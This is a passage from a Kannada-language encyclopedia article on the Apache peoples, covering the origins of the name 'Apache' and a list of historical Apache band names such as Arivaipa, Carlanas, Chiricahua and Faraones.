ಜಿಕಾರಿಲ್ಲಾಗಳು ನೆಲೆಯಾಗಿದ್ದಾರೆ. ಈಗ ಕೆಲವೇ ಸಂಖ್ಯೆಯಲ್ಲಿರುವ ಲಿಪಾನ್್ಗಳು ಪ್ರಾಥಮಿಕವಾಗಿ ಮೆಸ್ಕರೆಲೋ ಮೀಸಲು ಪ್ರದೇಶದಲ್ಲಿಯೇ ನೆಲೆಯಾಗಿದ್ದಾರೆ. ಉಳಿದ ಲಿಪಾನ್್ಗಳು ಟೆಕ್ಸಾಸ್್ನಲ್ಲಿ ಇರುತ್ತಾರೆ. ಬಯಲು ಅಪಾಚೆಗಳು ಓಕ್ಲಹಾಮಾದಲ್ಲಿ ನೆಲೆಯಾಗಿದ್ದು, ಅನಾಡಾರ್ಕೋ ಸುತ್ತಮುತ್ತಲೇ ಒಟ್ಟೈಸಿದ್ದಾರೆ. == ಹೆಸರು ಮತ್ತು ಸಮಾನಾರ್ಥಕಗಳು == ''ಅಪಾಚೆ'' ಪದ ಸ್ಪ್ಯಾನಿಶ್ ಮೂಲಕ ಇಂಗ್ಲಿಷ್್ಗೆ ಪ್ರವೇಶ ಪಡೆಯಿತು. ಆದರೆ ಮೂಲಭೂತವಾಗಿ ಈ ಪದದ ಮೂಲ ಅನಿಶ್ಚಿತವಾಗಿದೆ. ಬಹುತೇಕ ಅಪಾಚೆಯವರು ತಮ್ಮನ್ನು ''ಅಪಾಚೆ '' ಎಂದು ಕರೆಯುವುದನ್ನು ಇಷ್ಟಪಡುವುದಿಲ್ಲ. ತಮ್ಮ ಭಾಷೆಯ ಪದದಿಂದ ತಮ್ಮೊಳಗೆ ಸಂಬೋಧಿಸಿಕೊಳ್ಳುತ್ತಾರೆ. (ಉದಾ.''ಇಂಡೆ'' ಮೆಸ್ಕೆಲೆರೋದಲ್ಲಿ "ಅಪಾಚೆ, ವ್ಯಕ್ತಿ" ಎಂದು ಅರ್ಥ). ಈಗ ಗೊತ್ತಿರುವ ಮೊದಲ ಲಿಖಿತ ದಾಖಲೆ ಸ್ಪ್ಯಾನಿಶ್್ನಲ್ಲಿದ್ದು ಇದನ್ನು ಬರೆದವರು ಜುಆನ್ ಡೆ ಒನಾಟೆ, 1598ರಲ್ಲಿ. ಅತ್ಯಂತ ಹೆಚ್ಚು ಒಪ್ಪಿತವಾದ ಮೂಲ ಸಿದ್ಧಾಂತವು ಇದನ್ನು ಝುನಿ ಪದ{{unicode|''ʔa·paču''}} ದಿಂದ ತರಲಾಗಿದೆ ಎಂದು ಸೂಚಿಸುತ್ತದೆ. ಇದರ ಅರ್ಥ ನವಾಜೋಸ್ (ನವಾಜೋದ ಬಹುವಚನ{{unicode|''paču''}} ರೂಪ)<ref>ವಿಶಿಷ್ಟ ಅಪಾಚೆ ಗುಂಪುಗಳನ್ನು ಗುರುತಿಸುವ ಇತರ ಝೂನಿ ಪದಗಳು {{unicode|''wilacʔu·kʷe''}} "ವೈಟ್ ಮೌಂಟೇನ್ ಅಪಾಚೆ" ಮತ್ತು {{unicode|''čišše·kʷe''}} "ಸಾನ್ ಕಾರ್ಲೋಸ್ ಅಪಾಚೆ" (ನ್ಯೂಮನ್, ಪುಟಗಳು.32, 63, 65; ಡೆ ರುಸೆ, ಪುಟ.385). ಜೆ.ಪಿ. ಹಾರಿಂಗ್ಟನ್ವರದಿ ಮಾಡುವ ಪ್ರಕಾರ ಅವನ್ನು {{unicode|''čišše·kʷe''}} ಸಾಮಾನ್ಯವಾಗಿ ಇತರ ಅಪಾಚೆಗಳನ್ನು ಸೂಚಿಸಲೂ ಬಳಸಬಹುದು.</ref> ಇನ್ನೊಂದು ಸಿದ್ಧಾಂತವು ಈ ಪದವು ಯವಾಪೈ{{unicode|''ʔpačə''}} ಅರ್ಥ ಶತ್ರು<ref>{{Cite web |url=http://www.mce.k12tn.net/indians/reports2/apache.htm |title=K12tn.net |access-date=2010-09-22 |archive-date=2012-09-04 |archive-url=https://archive.today/20120904152848/http://www.mce.k12tn.net/indians/reports2/apache.htm |url-status=dead }}</ref> ವಿನಿಂದ ಬಂತು ಎಂದು ಸೂಚಿಸುತ್ತದೆ. ಝುನಿ ಮತ್ತು ಯವಾಪಿ ಮೂಲಗಳು ಕಡಿಮೆ ನಿರ್ದಿಷ್ಟವಾದವು, ಏಕೆಂದರೆ, ಒನಾಟೆ ಈ ಪದವನ್ನು ಬಳಸಿದ್ದು ಅವರು ಯಾವುದೇ ಝುನಿ ಅಥವಾ ಯವಪೈಗಳನ್ನು ಭೇಟಿಯಾಗುವ ಮೊದಲು.<ref name="de Reuse, p.385">ಡೆ ರುಸೆ, ಪುಟ.385</ref> ಕಡಿಮೆ ಸಂಭಾವ್ಯ ಮೂಲ ಬಹುಶಃ ಸ್ಪ್ಯಾನಿಶ್್ನ ''ಮಪಾಚೆ'' "ರಕೂನ್" (ಅಮೆರಿಕದ ನಸುಗಂದು ಬಣ್ಣದ ಪೊದೆ ಬಾಲದ ಮಾಂಸಾಹಾರಿ ಪ್ರಾಣಿ) ಇರಬಹುದು.<ref name="de Reuse, p.385"/> ಸ್ಪ್ಯಾನಿಶ್ ಜನರು ಸಾನ್ ಜುಆನ್ ನದಿಯ ಪೂರ್ವಭಾಗಕ್ಕಿರುವ ಚಮಾ ಜನರನ್ನು ಉಲ್ಲೇಖಿಸುವಾಗ ಮೊದಲಬಾರಿಗೆ 1620ರಲ್ಲಿ "ಅಪಾಚು ದೆ ನಬಾಜೋ" (ನವಾಜೋ) ಪದವನ್ನು ಬಳಸಿದರು. 1640ರ ವೇಳೆಗೆ ಈ ಪದವನ್ನು ಪೂರ್ವದ ಚಮಾದಿಂದ ಪಶ್ಚಿಮದ ಸಾನ್ ಜುಆನ್ ವರೆಗಿನ ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಜನರಿಗೆ ಅನ್ವಯಿಸಲಾಯಿತು. ಈ ಬುಡಕಟ್ಟಿನವರ ಬದ್ಧತೆ ಮತ್ತು ಹೋರಾಟದಲ್ಲಿಯ ಪರಿಣತಿ ಬಹುಶಃ ಅಗ್ಗದ ಕೌತುಕ ಕಾದಂಬರಿಗಳಿಂದ ಪ್ರಚಾರ ಪಡೆದು ಯುರೋಪಿಯನ್ನರ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರಿರಬಹುದು. 20ನೆ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ ಪ್ಯಾರಿಸಿಯನ್ ಸಮಾಜದಲ್ಲಿ ಅಪಾಚೆ ಅತ್ಯಗತ್ಯವಾಗಿ ಶಾಸನಬಾಹಿರವಾಗಿತ್ತು ಮತ್ತು ಫ್ರಾನ್ಸ್್ನಲ್ಲಿ ಫ್ರೆಂಚ್ ಭಾಷೆಯನ್ನು ಪ್ರವೇಶಿಸಿತು. ==== ಹೆಸರಿಡುವುದರಲ್ಲಿಯ ಕಷ್ಟಗಳು ==== [[ಚಿತ್ರ:Kiowa Apache Essa-queta.jpg|thumb|200px|ಎಸ್ಸಾ-ಕ್ವೆಟಾ, ಪ್ಲೇನ್ಸ್ ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ]] ಅಪಾಚಿಯನ್ ಅಲ್ಲದವರು ಬರೆದಿರುವ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳ ಐತಿಹಾಸಿಕ ಹೆಸರುಗಳ ದಾಖಲೆಯಲ್ಲಿ ಆಧುನಿಕ ಕಾಲದ ಬುಡಕಟ್ಟುಗಳು ಅಥವಾ ಅವುಗಳ ಉಪ ಗುಂಪುಗಳನ್ನು ಹೊಂದಿಸುವುದಕ್ಕೆ ಕಷ್ಟ. ಶತಮಾನಗಳ ಕಾಲ ಅನೇಕ ಸ್ಪ್ಯಾನಿಶ್, ಫ್ರೆಂಚ್ ಮತ್ತು / ಅಥವಾ ಇಂಗ್ಲಿಷ್ ಮಾತನಾಡುವ ಲೇಖಕರು ಅಪಾಚಿಯನ್ ಮತ್ತು ಅದೇ ಪ್ರದೇಶದಲ್ಲಿ ಹಾದು ಹೋದ ಇತರ ಅರೆ-ಅಲೆಮಾರಿ ಅಪಾಚಿಯನ್ ಅಲ್ಲದ ಜನರ ನಡುವೆ ಭಿನ್ನತೆಯನ್ನು ಗುರುತಿಸಲೇ ಇಲ್ಲ. ಯುರೋಪಿಯನ್ನರು ಹೆಚ್ಚಾಗಿ ಬುಡಕಟ್ಟಿನವರನ್ನು ಗುರುತಿಸುವುದು ಅವರ ಎಕ್ಸೋನಿಮ್್ಗಳನ್ನು ಅನುವಾದ ಮಾಡುವ ಮೂಲಕ, ಅವರು ಇನ್ನೊಂದು ಗುಂಪನ್ನು ಏನೆಂದು ಕರೆಯುತ್ತಾರೆ ಎಂದು ತಿಳಿಯುವ ಮೂಲಕ. ಆದರೆ ಮಾನವ ಶಾಸ್ತ್ರಜ್ಞರು ಅಪಾಚೆಗಳಲ್ಲಿಯ ಕೆಲವು ಸಾಂಪ್ರದಾಯಿಕ ಪ್ರಮುಖ ಉಪಗುಂಪುಗಳನ್ನು ಒಪ್ಪುತ್ತಾರೆ. ಅವರು ಇನ್ನಷ್ಟು ನಿಶ್ಚಿತವಾಗಿ ಉಪಗುಂಪುಗಳನ್ನು ಹೆಸರಿಸಲು ಬೇರೆಯೇ ಮಾನದಂಡವನ್ನು ಬಳಸುವರು. ಮತ್ತು ಇದು ಯಾವಾಗಲೂ ಆಧುನಿಕ ಅಪಾಚೆ ಗುಂಪುಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುವುದಿಲ್ಲ. ಕೆಲವು ವಿದ್ವಾಂಸರು ಮೆಕ್ಸಿಕೋದಲ್ಲಿ ಈಗಿರುವ ಗುಂಪುಗಳನ್ನು ಅಪಾಚೆ ಎಂದು ಪರಿಗಣಿಸುವುದಿಲ್ಲ. ಹೊರಗಿನವರಿಗೆ ಗೊಂದಲ ಹುಟ್ಟಿಸುವಂತೆ ಒಬ್ಬ ಅಪಾಚೆಯ ವ್ಯಕ್ತಿ ಒಂದು ಗುಂಪಿನೊಂದಿಗೆ ಗುರುತಿಸಿಕೊಳ್ಳಲು ವಿಭಿನ್ನ ರೀತಿಗಳಿವೆ. ಗುಂಪು ಅಥವಾ ಕುಲ, ವಿಶಾಲವಾದ ಬುಡಕಟ್ಟು ಅಥವಾ ಭಾಷಿಕ ಗುಂಪುಗಳು ಇತ್ಯಾದಿ. ಉದಾಹರಣೆಗೆ, 1930ರಲ್ಲಿ ಗ್ರೀನ್್ವಿಲ್ಲೆ ಗುಡ್ವಿನ್ ಪಶ್ಚಿಮದ ಅಪಾಚಿಗಳನ್ನು (ಉಪಭಾಷೆ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಭಿನ್ನತೆಯ ಮೇಲೆ ತಮ್ಮ ಅಸಾಂಪ್ರದಾಯಿಕ ವಿಚಾರಗಳನ್ನು ಆಧರಿಸಿ): ವೈಟ್ ಮೌಂಟೇನ್, ಸಿಬೆಕ್ಯು, ಸಾನ್ ಕಾರ್ಲೋಸ್, ನಾರ್ಥ್ ಟೋಂಟೋ ಮತ್ತು ಸೌಥ್ ಟೋಂಟೋ ಈ ಐದು ಗುಂಪುಗಳಲ್ಲಿ ವರ್ಗೀಕರಿಸಿದರು. ಇತರ ಮಾನವಶಾಸ್ತ್ರಜ್ಞರು (ಉದಾ: ಅಲ್ಬರ್ಟ್ ಶ್ರೋಡರ್) ಗುಡ್ವಿನ್್ರ ವರ್ಗೀಕರಣವನ್ನು ಮೀಸಲು ಪೂರ್ವ ಸಂಸ್ಕೃತಿಯ ವಿಭಾಗಗಳೊಂದಿಗೆ ಹೊಂದಾಣಿಕೆ ಇಲ್ಲದ್ದು ಎಂದು ಪರಿಗಣಿಸುತ್ತಾರೆ. ವಿಲ್ಲೆಮ್ ಡೆ ರೀಯುಸ್ ಭಾಷಿಕ ಪುರಾವೆಗಳು ಕೇವಲ ಮೂರು ಗುಂಪುಗಳಾದ ವೈಟ್ ಮೌಂಟೇನ್, ಸಾನ್ ಕಾರ್ಲೋಸ್ ಮತ್ತು ಡಿಲ್್ಜೀ (ಟೊಂಟೋ)ಗಳನ್ನು ಬೆಂಬಲಿಸುತ್ತವೆ ಎಂಬುದನ್ನು ಕಂಡುಹಿಡಿದರು. ಸಾನ್್ ಕಾರ್ಲೋಸ್ ಅತ್ಯಂತ ವೈವಿಧ್ಯಮಯ ಉಪಭಾಷೆ ಎಂದು ಅವರು ನಂಬುತ್ತಾರೆ. ಮತ್ತು ಡಿಲ್ಜೆ ಉಪಭಾಷಾ ಅವಿಚ್ಚಿನ್ನ ಸರಣಿಯ ಮಧ್ಯವರ್ತಿಯೊಂದರ ಅವಶೇಷ ಮತ್ತು ಇದು ಮೊದಲು ಪಶ್ಟಿಮ ಅಪಾಚೆ ಭಾಷೆಯಿಂದ ನವಾಜೋ ವರೆಗೆ ಪಸರಿಸಿತ್ತು ಎಂದು ನಂಬುತ್ತಾರೆ. ಜಾನ್ ಅಪ್ಟಾನ್ ಟೆರ್ರೆಲ್ ಅಪಾಚೆಯನ್ನು ಪಶ್ಚಿಮ ಮತ್ತು ಪೂರ್ವದ ಗುಂಪುಗಳಲ್ಲಿ ವರ್ಗೀಕರಿಸುತ್ತಾರೆ. ಪಶ್ಚಿಮದ ಗುಂಪಿನಲ್ಲಿ ಅವರು ''ಟೋಬೋಸೋ'' , ''ಕೋಲೋಮೆ'' , ''ಜೋಕೋಮೆ'' , ''ಸಿಬೋಲೋ'' ಅಥವಾ ''ಸಿಬೋಲಾ'' , ''ಪೆಲೋನೆ'' , ''ಮಾನ್ಸೋ'' ಮತ್ತು ''ಕಿವಾ'' ಅಥವಾ ''ಕೋಫಾ'' ವನ್ನು ಸೇರಿಸುತ್ತಾರೆ. ಅವರು ''ಚಿಕಾಮೆ'' ಯನ್ನು (ಮೊದಲು ಈ ಪದವನ್ನು ಹಿಸ್ಪಾನಿಜೆಡ್ ಚಿಕಾನೋ ಅಥವಾ ಸ್ಪ್ಯಾನಿಶ್/ಹಿಸ್ಪಾನಿಕ್್ನ ನ್ಯೂ ಮೆಕ್ಸಿಕನ್್ರಿಗೆ ಮತ್ತು ಅಪಾಚೆ ಡಿಸೆಂಟ್್ಗೆ ಬಳಸುತ್ತಿದ್ದರು.) ಅದು ನಿರ್ದಿಷ್ಟವಾಗಿ ಅಪಾಚೆ ಸಂಬಂಧ ಹೊಂದಿದೆಯೆಂದು ಅಥವಾ ಅಪಾಚೆಗಳು ಹೊಂದಿರುವ ಸ್ಪ್ಯಾನಿಶ್ ಸಂಬಂಧದ ಹೆಸರುಗಳ ಕಾರಣದಿಂದ ಅದರಲ್ಲಿ ಸೇರಿಸುವರು. ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಕೆಥೋಲಿಕ್ ಚರ್ಚ್ ದಾಖಲೆಗಳ ವಿಸ್ತೃತವಾದ ಅಧ್ಯಯನವೊಂದರಲ್ಲಿ ಡೇವಿಡ್ ಎಂ.ಬ್ರುಗ್ಗೆಯವರು ಸ್ಪ್ಯಾನಿಶ್್ನಲ್ಲಿ ಅಪಾಚೆಗಳು ಎಂದು ಕರೆಯುವ ಹದಿನೈದು ಬುಡಕಟ್ಟು ಹೆಸರುಗಳನ್ನು ಗುರುತಿಸಿದ್ದಾರೆ. ಇವುಗಳನ್ನು 1704ರಿಂದ 1862ರ ವರೆಗಿನ ಸುಮಾರು ಒಂದು ಸಾವಿರ ದೀಕ್ಷಾಸ್ನಾನದ ದಾಖಲೆಗಳಿಂದ ತೆಗೆದದ್ದು. ==== ಹೆಸರುಗಳ ಪಟ್ಟಿ ==== ಕೆಳಗಿನ ಪಟ್ಟಿಯು ಫೋಸ್ಟರ್ ಆ್ಯಂಡ್ ಮೆಕೊಲಫ್ (2001) ಓಪ್ಲರ್ (1938 ಬಿ, 1983 ಸಿ, 2001), ಡೆ ರೆಯುಸೆ (1983) ಅವರನ್ನ ಆಧರಿಸಿದೆ. ** ಅಪಾಚಿಯನ್ ಮಾತನಾಡುವ 7 ಪ್ರಮುಖ ಸಾಂಪ್ರದಾಯಿಕ ಗುಂಪುಗಳಲ್ಲಿ 6ನ್ನು ಪ್ರಸ್ತುತ '''ಅಪಾಚೆ''' ಪದವು ಒಳಗೊಂಡಿದೆ: ಚಿರಿಕಾಹುಆ, ಜಿಕಾರಿಲ್ಲಾ, ಲಿಪಾನ್ಸ್, ಮೆಸ್ಕಲೆರೋ, ಬಯ ಅಪಾಚೆ, ಮತ್ತು ವೆಸ್ಟರ್ನ್ ಅಪಾಚೆ.. ಐತಿಹಾಸಿಕವಾಗಿ ಈ ಪದವನ್ನು ಕೊಮಾಂಚೆಗಳು, ಮೊಹಾವೆಗಳು, ಹುಆಲಾಪೈಗಳು ಮತ್ತು ಯವಾಪೈಗಳಿಗೂ ಬಳಸುತ್ತಿದ್ದರು. * * '''ಅರಿವೈಪಾ''' (''ಅರಾವೈಪಾ'' ಕೂಡ) ಪಶ್ಚಿಮ ಅಪಾಚೆಯ ''ಸಾನ್ ಕಾರ್ಲೋಸ್'' ಸ್ಥಳೀಯ ಗುಂಪಿನೊಂದಿಗೆ ಸಂಬಂಧ ಹೊಂದಿದೆ. ಮೀಸಲು ಪೂರ್ವ ಕಾಲದಲ್ಲಿ ಅರಿವೈಪಾ ಪ್ರತ್ಯೇಕ ವಿಭಾಗವಾಗಿತ್ತು ಎಂದು ಅಲ್ಬರ್ಟ್ ಶ್ರೋಡರ್ ನಂಬುತ್ತಾರೆ. ''ಅರಿವೈಪಾ'' ವನ್ನು (ಸ್ಪ್ಯಾನಿಶ್ ಮೂಲಕ) ಓಧಮ್ ಭಾಷೆಯಿಂದ ಎರವಲು ತಂದದ್ದು.. ಪಶ್ಚಿಮ ಅಪಾಚೆ ಭಾಷೆಯಲ್ಲಿ ಅರಿವೈಪಾ '' "ತ್ಸೆಜಿನೆ"'' "ಬ್ಲಾಕ್ ರಾಕ್" ಎಂದು ಪ್ರಸಿದ್ಧ.. * * '''ಕಾರ್ಲಾನಸ್''' (''ಕಾರ್ಲಾನೆಸ್'' ಕೂಡ). ದಕ್ಷಿಣದ ಕೊಲೊರಾಡೋದಲ್ಲಿಯ ರಾಟೋನ್ ಮೆಸಾದಲ್ಲಿಯ ಒಂದು ಅಪಾಚೆ ಗುಂಪು. 1726ರಲ್ಲಿ ಅವರು ಕ್ವಾರ್ಟೆತೆಜೋಸ್ ಮತ್ತು ಪಲೋಮಾಸ್ ಜೊತೆ ಕೂಡಿಕೊಂಡರು. ಮತ್ತು 1730ರ ಸುಮಾರಿಗೆ ಅವರು ಜಿಕಾರಿಲ್ಲಾ ಜೊತೆ ಬದುಕುತ್ತಿದ್ದರು. ಆಧುನಿಕ ಜಿಕಾರಿಲ್ಲಾದ ಲಾನೆರೋ ಗುಂಪು ಅಥವಾ ಜೇಮ್ಸ್ ಮೂನಿಯ ''ಡಾಚಿ-ಓ-ಝಾ'' ಜಿಕಾರಿಲ್ಲಾ ವಿಭಾಗವು ಕಾರ್ಲಾನರು, ಕ್ವಾರ್ಟೆಲೆಜೋಗಳು ಮತ್ತು ಪಲೋಮಾಗಳ ವಂಶಸ್ಥರು ಎಂಬ ಸೂಚನೆಯನ್ನೂ ನೀಡಲಾಗಿದೆ. ಕಾರ್ಲಾನರನ್ನು ಇಡಿಯಾಗಿ ''ಸಿಯೆರ್ರಾ ಬ್ಲಾಂಕಾ'' ಎಂದೂ ಕರೆಯುತ್ತಾರೆ; ಇವುಗಳಲ್ಲಿಯ ಕೆಲವು ಗುಂಪುಗಳನ್ನು ''ಲಿಪಿಯಾನೆ'' ಗಳು ಅಥವಾ'' ಲಾನೆರೋ'' ಗಳು ಎನ್ನುವರು. ಇದರ ಹೊರತಾಗಿ, 1812ರಿಂದ ಈ ಪದವನ್ನು ''ಜಿಕಾರಿಲ್ಲಾ'' ಕ್ಕೆ ಸಮಾನಾರ್ಥಕವಾಗಿ ಬಳಸುವರು. ''ಫ್ಲೆಚಾಸ್ ಡೆ ಪಾಲೋ'' ಬಹುತೇಕ ಕಾರ್ಲಾನದ (ಅಥವಾ ಕ್ವಾರ್ಟೆಲೆಜೋಸ್) ಭಾಗವಾಗಿರಬೇಕು ಅಥವಾ ಅದರಿಂದ ಎತ್ತಿಕೊಂಡಿದ್ದು ಇರಬೇಕು. * '''ಚಿರಿಕಾಹುಆ.''' . ದಕ್ಷಿಣ ಅರಿಜೋನಾದಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಏಳು ಪ್ರಮುಖ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳಲ್ಲಿ ಒಂದು. **'''ಓ ಚಿಶಿ''' (''ಟಿಚಿಶಿ'' ಕೂಡ) ಎಂಬುದು ನವಾಜೋ ಪದ, ಇದರ ಅರ್ಥ "ಚಿರಿಕಹುಆ, (ಸಾಮಾನ್ಯವಾಗಿ ದಕ್ಷಿಣದ ಅಪಾಚಿಗಳು).<ref>ಇದೇ ರೀತಿಯ ಪದಗಳು ಜಿಕಾರಿಲ್ಲಾ ''ಚಿಶಿನ್'' ಮತ್ತು ಲಿಪಾನ್ ''ಚಿಶ್į́į́ಹ್į́į́'' "ಫಾರೆಸ್ಟ್ ಲಿಪಾನ್"ಗಳಲ್ಲೂ ಹೊರಡುತ್ತವೆ.</ref> * ''' ಚುಕನೆನ್''' (''ಕೋಕನೆನ್'' , ''ಕೋ-ಕನೆನ್'' , ''ಚೋಕೋನ್ನಿ'' , ''ಚೋ-ಕೋ-ನೆನ್'' , ''ಚೋ ಕುನೆ'' , ''ಚೋಕೋನೆನ್'' ಕೂಡ ಹೌದು) ಮಾರಿಸ್ ಓಪ್ಲೆರ್ ಗುಂಪಿನ ''ಪೂರ್ವ ಚಿರಿಕಹುಆ'' ಗೆ ಸೇರುತ್ತದೆ. ಈ ಹೆಸರು ಚಿರಿಕಹುಆ ಭಾಷೆಯ ನಿಜನಾಮ. *'''ಸಿಬೆಕ್ಯು.''' . ಗುಡ್ವಿನ್ ಅವರ ಪಶ್ಚಿಮ ಅಪಾಚೆ ಗುಂಪಿಗೆ ಸೇರಿದವುಗಳಲ್ಲಿ ಇದು ಒಂದು. ಸಾಲ್ಟ್ ರಿವರಿನ ಉತ್ತರಕ್ಕೆ ಟೋಂಟೋ ಮತ್ತು ವೈಟ್ ಮೌಂಟೇನ್ ಗುಂಪುಗಳ ನಡುವೆ ಬದುಕುತ್ತಾರೆ. ಇವರಲ್ಲಿ ಕನಿಯೋನ್, ಕ್ರೀಕ್, ಕಾರಿಝೋ ಮತ್ತು ಸಿಬೆಕ್ಯು (ಶುದ್ಧಾಂಗ) ಗುಂಪುಗಳು ಸೇರುತ್ತವೆ. *''' ಕೋಯೋಟೆರೋ''' , ಮೀಸಲು ಪೂರ್ವಪಶ್ಚಿಮ ಅಪಾಚೆಯ ಸ್ಥಳೀಯ ಗುಂಪು ''ವೈಟ್ ಮೌಂಟೇನ್್'' ನ ದಕ್ಷಿಣ ವಿಭಾಗಕ್ಕೆ ಸಾಮಾನ್ಯವಾಗಿ ಉಲ್ಲೇಖಿಸುವರು. ಹೀಗಿದ್ದರೂ ಈ ಪದವನ್ನು ಹೆಚ್ಚು ವ್ಯಾಪಕವಾಗಿ ಅಪಾಚೆಗಳಿಗೆ, ಪಶ್ಚಿಮ ಅಪಾಚೆಗಳಿಗೆ ಅಥವಾ ದಕ್ಷಿಣ ಕೊಲರಾಡೋದ ಎತ್ತರದ ಬಯಲುಗಳ ಅಪಾಚಿಯನ್ ಗುಂಪಿನಿಂದ ಕನ್ಸಾಸ್ ವರೆಗೆ ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸುವರು. *'''ಫರೋನೆಸ್''' (''ಫರೋನೆಜ್'' , ''ಫರಾಓನ್ಸ್'' , ''ತರಾಓನ್ಸ್'' , ''ತರಾಕೋನ್ಸ್'' , ''ಅಪಾಚೆಸ್ ಫರಾಓನ್'' ಕೂಡ) ಸ್ಪ್ಯಾನಿಸ್್ನ ''ಫರೋನ್'' "ಫರೋಹ್" ನಿಂದ ತಂದ್ದು. 1700ಕ್ಕೆ ಮೊದಲು ಈ ಶಬ್ದ ನಿರ್ದಿಷ್ಟ ಅರ್ಥವಿಲ್ಲದೆ ಅಸ್ಪಷ್ಟವಾಗಿತ್ತು. 1720 ಮತ್ತು 1726ರ ನಡುವೆ ಪೂರ್ವದಲ್ಲಿ ರಿಯೋ ಗ್ರಾಂಡೆ, ಪಶ್ಚಿಮದಲ್ಲಿ ಪೆಕೋಸ್ ನದಿ, ಉತ್ತರದಲ್ಲಿ ಸಂತಾ ಪೆ ಸುತ್ತಲಿನ ಪ್ರದೇಶ ಮತ್ತು ದಕ್ಷಿಣದಲ್ಲಿ ಕೊಂಚೋಸ್ ನದಿಯ ನಡುವಣ ಅಪಾಚೆಗಳನ್ನು ಉಲ್ಲೇಖಿಸಲು ಈ ಪದವನ್ನು ಬಳಸಲಾಯಿತು. 1726ರ ಬಳಿಕ ಈ ಪ್ರದೇಶದ ಉತ್ತರ ಮತ್ತು ಕೇಂದ್ರ ಭಾಗಗಳನ್ನು ಸೂಚಿಸಲು ಮಾತ್ರ ಫರೋನೆಸ್ ಬಳಸಲಾಯಿತು. ಫರೋನೆಸ್ ಬಹುಶಃ ಆಧುನಿಕ ಕಾಲದ ಮೆಸ್ಕೆಲೆರೋಸ್್ನ ಭಾಗವಾಗಿರಬೇಕು ಅಥವಾ ಕನಿಷ್ಠ ಅದರ ಅಂಶದಲ್ಲಿಯಾದರೂ ಇರಬೇಕು ಅಥವಾ ಮೆಸ್ಕೆಲೆರೋಸ್ ಜೊತೆ ವಿಲೀನಗೊಂಡಿರಬೇಕು. 1814ರ ಬಳಿಕ ''ಫರೋನೆಸ್'' ಪದ ಮಾಯವಾಗಿ ಅದರ ಬದಲು ''ಮೆಸ್ಕೆಲೆರೋ'' ಪದ ಬಂತು. *''' ಗಿಲೆನೋ''' (''ಅಪಾಚೆಸ್ ಡೆ ಗಿಲಾ'' , ''ಅಪಾಚೆಸ್ ಡೆ ಕ್ಸಿಲಾ'' , ''ಅಪಾಚೆಸ್ ಡೆ ಲಾ ಸಿಯೆರ್ರಾ ಡೆ ಗಿಲಾ'' , ''ಕ್ಸಿಲೆನೋಸ್'' , ''ಗಿಲೆನಾಸ್'' , ''ಗಿಲಾನ್ಸ್'' , ''ಗಿಲಾನಿಯನ್ಸ್'' , ''ಗಿಲಾ ಅಪಾಚೆ'' , ''ಗಿಲ್ಲೆನೋಸ್'' ಕೂಡ) ವಿವಿಧ ಕಾಲಘಟ್ಟಗಳಲ್ಲಿ ಅನೇಕ ವಿಭಿನ್ನ ಅಪಾಚೆಯವರು ಮತ್ತು ಅಪಾಚೆಯವರು ಅಲ್ಲದ ಗುಂಪುಗಳನ್ನು ಉಲ್ಲೇಖಿಸುವುದಕ್ಕೆ ಬಳಸುತ್ತಿದ್ದರು. ''ಗಿಲಾ'' ಗಿಲಾ ನದಿ ಅಥವಾ ಗಿಲಾ ಪರ್ವತಗಳನ್ನು ಉಲ್ಲೇಖಿಸುತ್ತದೆ.{{dn}} ಗಿಲಾ ಅಪಾಚೆಗಳಲ್ಲಿ ಕೆಲವರನ್ನು ನಂತರ ಬಹುಶಃ ಚಿರಿಕಾಹುಆದ ಉಪವಿಭಾಗವಾದ ''ಮೊಂಗೋಲ್ಲೊನ್ ಅಪಾಚೆಗಳು'' ಎಂದು ತಿಳಿದಿರಬೇಕು. ಉಳಿದವರು ಬಹುಶಃ ಚಿರಿಕಹುಆ ಶುದ್ಧಾಂಗದಲ್ಲಿ ಸೇರಿರಬೇಕು. ರಿಯೋ ಗ್ರಾಂಡೆ ಪಶ್ಚಿಮಕ್ಕೆ (ಅಂದರೆ, ಆಗ್ನೇಯ ಅರಿಝೋನಾ ಮತ್ತು ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಪೂರ್ವ ಭಾಗದಲ್ಲಿ) ತಾರತಮ್ಯವಿಲ್ಲದೆ ಎಲ್ಲ ಅಪಾಚೆಯವರ ಗುಂಪುಗಳಿಗೆ ಪ್ರಯೋಗಿಸುತ್ತಿರುವಾಗ ಉಲ್ಲೇಖ ಆಗಾಗ್ಗೆ ಅಸ್ಪಷ್ಟವಾಗಿದೆ. 1722ರ ಬಳಿಕ ಸ್ಪ್ಯಾನಿಶ್ ದಾಖಲೆಗಳುಈ ವಿಭಿನ್ನ ಗುಂಪುಗಳನ್ನು ಪ್ರತ್ಯೇಕಿಸಲು ಆರಂಭಿಸಿದವು. ಈ ಸಂದರ್ಭದಲ್ಲಿ ''ಅಪಾಚೆಸ್ ಡೆ ಗಿಲಾ'' ವನ್ನು ಗಿಲಾ ನದಿಯ ಉದ್ದಕ್ಕೂ ವಾಸಿಸುವ ಪಶ್ಚಿಮ ಅಪಾಚಿಗಳನ್ನು ಉಲ್ಲೇಖಿಸಲು ಬಳಸಲಾಯಿತು. (ಮತ್ತು ಈ ರೀತಿಯಲ್ಲಿ ''ಕೋಯೋಟೆರೋ'' ಜೊತೆ ಪರ್ಯಾಯ ನಾಮವಾಗಿ ಉಳಿದುಕೊಂಡಿತು) ಅಮೆರಿಕದ ಬರೆಹಗಾರರು ಈ ಪದವನ್ನು ''ಮಿಂಬ್ರೆಸ್್'' ಗಳಿಗೆ (ಚಿರಿಕಹುಆದ ಮತ್ತೊಂದು ಉಪವಿಭಾಗ) ಬಳಸಿದರು. ಆದರೆ ಬಳಿಕ ಈ ಪದವನ್ನು ಗೊಂದಲದಿಂದ ಕೋಯೋಟೆರೋಸ್, ಮೊಗೋಲ್ಲೋನ್ಸ್, ಟೋಂಟೋಸ್, ಮಿಂಬ್ರೆನೋಸ್, 